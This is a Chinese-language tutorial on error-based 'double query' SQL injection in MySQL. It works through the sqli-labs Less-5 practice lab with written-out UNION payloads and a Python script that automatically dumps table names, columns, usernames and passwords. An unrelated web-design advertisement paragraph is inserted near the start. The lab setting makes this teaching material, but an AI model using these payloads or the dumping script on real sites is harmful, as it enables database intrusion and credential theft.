這篇文章主要為大家展示了“SQL注入中什么是雙查詢注入”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“SQL注入中什么是雙查詢注入”這篇文章吧。
十余年的榮縣網(wǎng)站建設(shè)經(jīng)驗,針對設(shè)計、前端、開發(fā)、售后、文案、推廣等六對一服務(wù),響應(yīng)快,48小時及時工作處理。全網(wǎng)整合營銷推廣的優(yōu)勢是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動調(diào)整榮縣建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計,從而大程度地提升瀏覽體驗。創(chuàng)新互聯(lián)從事“榮縣網(wǎng)站設(shè)計”,“榮縣網(wǎng)站推廣”以來,每個客戶項目都認(rèn)真落實執(zhí)行。
什么是雙查詢注入呢?
看大佬的解釋太深奧,粗俗的理解就是一個select語句里再嵌套一個select語句,將有用的信息顯示在SQL的報錯信息。
首先,理解四個函數(shù)/語句:Concat(),Rand(), Floor(), Count(),Group by clause
①concat()函數(shù)
我理解為組合,匯合函數(shù)將括號里的符號連接在一起。
將結(jié)果連在了一起。②Rand函數(shù)
用來返回一個01之間的隨機(jī)數(shù),區(qū)間表示就是【0,1)。括號里為空時,隨機(jī)產(chǎn)生數(shù)。
當(dāng)括號里的參數(shù)固定時,隨機(jī)數(shù)(隨機(jī)數(shù)列)也是固定的。
讓我們看一下隨機(jī)數(shù)列
select rand(3) from information_schema.columns limit 3;
產(chǎn)生三列隨機(jī)數(shù)。
對比一下還是不變。
③Floor()函數(shù)
Floor()函數(shù)時取整函數(shù),當(dāng)輸入一個非整數(shù),返回小于等于輸入?yún)?shù)的最大整數(shù)。
④count()函數(shù)
用于統(tǒng)計行數(shù)。
⑤group by 語句
先看這句:
select table_schema, table_name from information_schema.tables;
加上group by語句后:
select table_schema, table_name from information_schema.tables by table_schema;
加上之后,數(shù)據(jù)明顯少了很多的重復(fù)的。重復(fù)的數(shù)據(jù)庫只顯示一個,并且只顯示數(shù)據(jù)庫里的第一張表。
幾個函數(shù)靈活運(yùn)用,會有什么不異想不到的結(jié)果呢?
我們實踐一下
①rand()函數(shù)和floor()函數(shù)結(jié)合使用。
select floor(rand(5)*12) from information_schema.columns limit 5;
由內(nèi)到外逐個分析,rand(5)會隨機(jī)產(chǎn)生5個不同的值,但是*12,就是將【0,1)擴(kuò)大到【0,12),floor函數(shù)就是取整了。
②count()函數(shù)和group by語句
select table_schema, count(*) from information_schema.tables group by table_schema;
他們的組合就是統(tǒng)計了每個數(shù)據(jù)庫里有多少張表。
其原理就是:MySQL會建立一張臨時表,有g(shù)roup_key和tally兩個字段,其中g(shù)roup_key設(shè)置了UNIQUE約束,即不能有兩行的group_key列的值相同。使用group by語句和count()函數(shù)的時候,mysql數(shù)據(jù)庫會先建立一個虛擬表,當(dāng)查詢到新的鍵不在虛擬表中,數(shù)據(jù)庫就會將其插入表中,如果數(shù)據(jù)庫中已存在該鍵,則找到該鍵對應(yīng)的計數(shù)字段并加1。
③雙查詢的核心語句(幾個函數(shù)綜合使用)
先看payload:select floor(rand(14)*2) c, count(*) from information_schema.columns group by c;
報錯了,那為什么會報錯? 分析一下: SQL語句中用列c分組,而列c是floor(rand(14)2)的別名。 floor(rand(14)2)產(chǎn)生的隨機(jī)數(shù)列,前四位是:1,0,1,0。
我們查詢的時候,mysql數(shù)據(jù)庫會先建立一個臨時表,設(shè)置了UNIQUE約束的group_key和tally兩個字段。當(dāng)查詢到新的"group_key鍵"不在臨時表中,數(shù)據(jù)庫就會將其插入臨時表中,如果數(shù)據(jù)庫中已存在group_key該鍵,則找到該鍵對應(yīng)的"tally計數(shù)"字段并加1。
創(chuàng)建好臨時表后,Mysql開始逐行掃描information_schema.columns表,遇到的第一個分組列是floor(rand(14)2),計算出其值為1,便去查詢臨時表中是否有g(shù)roup_key為1的行,發(fā)現(xiàn)沒有,便在臨時表中新增一行,group_key為floor(rand(14)2),注意此時又計算了一次,結(jié)果為0。所以實際插入到臨時表的一行g(shù)roup_key為0,tally為1,臨時表變成了:
Mysql繼續(xù)掃描information_schema.columns表,遇到的第二個分組列還是floor(rand(14)2),計算出其值為1(這個1是隨機(jī)數(shù)列的第三個數(shù)),便去查詢臨時表中是否有g(shù)roup_key為1的行,發(fā)現(xiàn)沒有,便在臨時表中新增一行,group_key為floor(rand(14)2),此時又計算了一次,結(jié)果為0(這個0是隨機(jī)數(shù)列的第四個數(shù)),所以嘗試向臨時表插入一行數(shù)據(jù),group_key為0,tally為1。但實際上臨時表中已經(jīng)有一行的group_key為0,而group_key又設(shè)置了不可重復(fù)的約束,所以就會出現(xiàn)報錯。
知道了原理,就實戰(zhàn)一下。以sql-lib/Less-5為例:
判斷閉合點:
然后查詢數(shù)據(jù)庫: 構(gòu)建payload:?id=-1' union select 1,count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a --+
數(shù)據(jù)庫就在報錯的信息里顯示出來了。
但是,因為是隨機(jī)值,所以只會有50%的概率會報錯。
相同的payload但顯示正常。
有大佬說,可以通過修改rand()使用的種子來使其百分百報錯,如下將rand()改為rand(1),測試百分之百報錯,即payload:?id=-1' union select 1,count(*),concat( (select database()),floor(rand(1)*2)) as a from information_schema.tables group by a --+
但我發(fā)現(xiàn),rand(1)并不會100%報錯,反而我是試了幾次都沒有報錯,只有4,11,14,15這幾個數(shù)會100%報錯,我也不知道什么原因,在這里留個懸念,希望大佬能解釋一下。
我們來爆表,前面我們知道了當(dāng)前數(shù)據(jù)庫的為security,構(gòu)造payload:?id=-1' union select 1,count(*),concat( (select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+
總共四張表,我們在第三張拿到了我們想要的。
知道了表名,看列值,構(gòu)造payload:?id=-1' union select 1,count(*),concat( (select column_name from information_schema.columns where table_name='users' limit 4,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+
我通過修改limit X,1里X的值,在3,1的時候看到了password字段
在9,1的時候得到了用戶名字段
開始拿用戶名和密碼,構(gòu)造payload:?id=-1' union select 1,count(*),concat( (select username from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+
和?id=-1' union select 1,count(*),concat( (select password from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+
這里要注意用戶名和密碼的列數(shù)應(yīng)改相對。
是不是jio著麻煩,附上Mochaaz大佬的python代碼
import requests from bs4 import BeautifulSoup db_name = '' table_list = [] column_list = [] url = '''http://192.168.1.158/sqlilabs/Less-5/?id=1''' ### 獲取當(dāng)前數(shù)據(jù)庫名 ### print('當(dāng)前數(shù)據(jù)庫名:') payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+''' r = requests.get(url+payload) db_name = r.text.split(':')[-2] print('[+]' + db_name) ### 獲取表名 ### print('數(shù)據(jù)庫%s下的表名:' % db_name) for i in range(50): payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i) r = requests.get(url+payload) if 'group_key' not in r.text: break table_name = r.text.split(':')[-2] table_list.append(table_name) print('[+]' + table_name) ### 獲取列名 ### #### 這里以users表為例 #### print('%s表下的列名:' % table_list[-1]) for i in range(50): payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i) r = requests.get(url + payload) if 'group_key' not in r.text: break column_name = r.text.split(':')[-2] column_list.append(column_name) print('[+]' + column_name) ### 獲取字段值 ### #### 這里以username列為例 #### print('%s列下的字段值:' % column_list[-2]) for i in range(50): payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i) r = requests.get(url + payload) if 'group_key' not in r.text: break dump = r.text.split(':')[-2] print('[+]' + dump)
花費幾小時的注入,代碼幾秒就出來結(jié)果了。
以上是“SQL注入中什么是雙查詢注入”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!